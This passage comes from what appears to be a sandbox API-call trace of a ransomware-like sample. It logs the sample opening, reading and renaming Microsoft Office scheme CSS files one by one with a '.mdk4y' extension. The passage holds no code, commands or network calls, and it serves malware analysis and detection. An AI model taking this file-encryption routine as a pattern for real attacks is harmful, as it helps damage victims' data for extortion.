Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css.mdk4y")) returned 1 [0195.145] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.145] AreFileApisANSI () returned 1 [0195.145] GetACP () returned 0x4e4 [0195.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME09.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME09.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.145] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827037700000) returned 1 [0195.147] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20444, lpOverlapped=0x0) returned 1 [0195.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827056200000) returned 1 [0195.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827056200000) returned 1 [0195.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css.mdk4y")) returned 1 [0195.335] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.335] AreFileApisANSI () returned 1 [0195.335] GetACP () returned 0x4e4 [0195.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME10.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME10.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.335] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827056600000) returned 1 [0195.336] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2072a, lpOverlapped=0x0) returned 1 [0195.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827069200000) returned 1 [0195.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827069200000) returned 1 [0195.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css.mdk4y")) returned 1 [0195.464] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.464] AreFileApisANSI () returned 1 [0195.464] GetACP () returned 0x4e4 [0195.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME11.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME11.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.464] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827069600000) returned 1 [0195.466] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20030, lpOverlapped=0x0) returned 1 [0195.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827070900000) returned 1 [0195.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827070900000) returned 1 [0195.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css.mdk4y")) returned 1 [0195.481] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.481] AreFileApisANSI () returned 1 [0195.481] GetACP () returned 0x4e4 [0195.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME12.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME12.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.481] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827071200000) returned 1 [0195.482] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e09a, lpOverlapped=0x0) returned 1 [0195.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827073200000) returned 1 [0195.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827073200000) returned 1 [0195.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css.mdk4y")) returned 1 [0195.505] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.505] AreFileApisANSI () returned 1 [0195.505] GetACP () returned 0x4e4 [0195.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME13.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME13.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.505] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827073600000) returned 1 [0195.506] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ec9a, lpOverlapped=0x0) returned 1 [0195.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827076700000) returned 1 [0195.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827076700000) returned 1 [0195.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css.mdk4y")) returned 1 [0195.540] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.540] AreFileApisANSI () returned 1 [0195.540] GetACP () returned 0x4e4 [0195.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME14.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME14.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.540] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827077100000) returned 1 [0195.541] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f5cc, lpOverlapped=0x0) returned 1 [0195.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827079600000) returned 1 [0195.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827079600000) returned 1 [0195.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css.mdk4y")) returned 1 [0195.569] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.569] AreFileApisANSI () returned 1 [0195.569] GetACP () returned 0x4e4 [0195.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME15.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME15.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.569] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827080000000) returned 1 [0195.570] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e094, lpOverlapped=0x0) returned 1 [0195.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827082400000) returned 1 [0195.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827082500000) returned 1 [0195.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css.mdk4y")) returned 1 [0195.597] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.597] AreFileApisANSI () returned 1 [0195.597] GetACP () returned 0x4e4 [0195.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME16.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME16.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.597] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827082800000) returned 1 [0195.598] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f822, lpOverlapped=0x0) returned 1 [0195.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827087300000) returned 1 [0195.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827087300000) returned 1 [0195.644] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css.mdk4y")) returned 1 [0195.645] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.645] AreFileApisANSI () returned 1 [0195.645] GetACP () returned 0x4e4 [0195.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME17.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME17.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.645] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827087600000) returned 1 [0195.646] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1eada, lpOverlapped=0x0) returned 1 [0195.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827088800000) returned 1 [0195.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827088900000) returned 1 [0195.660] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css.mdk4y")) returned 1 [0195.661] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.661] AreFileApisANSI () returned 1 [0195.661] GetACP () returned 0x4e4 [0195.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME18.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME18.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.661] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827089200000) returned 1 [0195.662] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20438, lpOverlapped=0x0) returned 1 [0195.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827089600000) returned 1 [0195.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827089600000) returned 1 [0195.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css.mdk4y")) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.668] AreFileApisANSI () returned 1 [0195.668] GetACP () returned 0x4e4 [0195.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME19.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME19.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.669] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827090000000) returned 1 [0195.670] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1fff2, lpOverlapped=0x0) returned 1 [0195.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827090200000) returned 1 [0195.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827090200000) returned 1 [0195.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css.mdk4y")) returned 1 [0195.675] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.675] AreFileApisANSI () returned 1 [0195.675] GetACP () returned 0x4e4 [0195.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME20.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME20.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827090500000) returned 1 [0195.676] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f6f0, lpOverlapped=0x0) returned 1 [0195.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827093300000) returned 1 [0195.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827093300000) returned 1 [0195.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css.mdk4y")) returned 1 [0195.706] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.706] AreFileApisANSI () returned 1 [0195.706] GetACP () returned 0x4e4 [0195.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME21.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME21.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827093700000) returned 1 [0195.707] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1eae6, lpOverlapped=0x0) returned 1 [0195.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827098800000) returned 1 [0195.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827098800000) returned 1 [0195.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css.mdk4y")) returned 1 [0195.760] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.761] AreFileApisANSI () returned 1 [0195.761] GetACP () returned 0x4e4 [0195.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME22.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME22.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.761] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827099200000) returned 1 [0195.762] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1fcca, lpOverlapped=0x0) returned 1 [0195.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827101500000) returned 1 [0195.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827101500000) returned 1 [0195.786] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), lpNewFileName="C:\\Program Files\\Microsoft 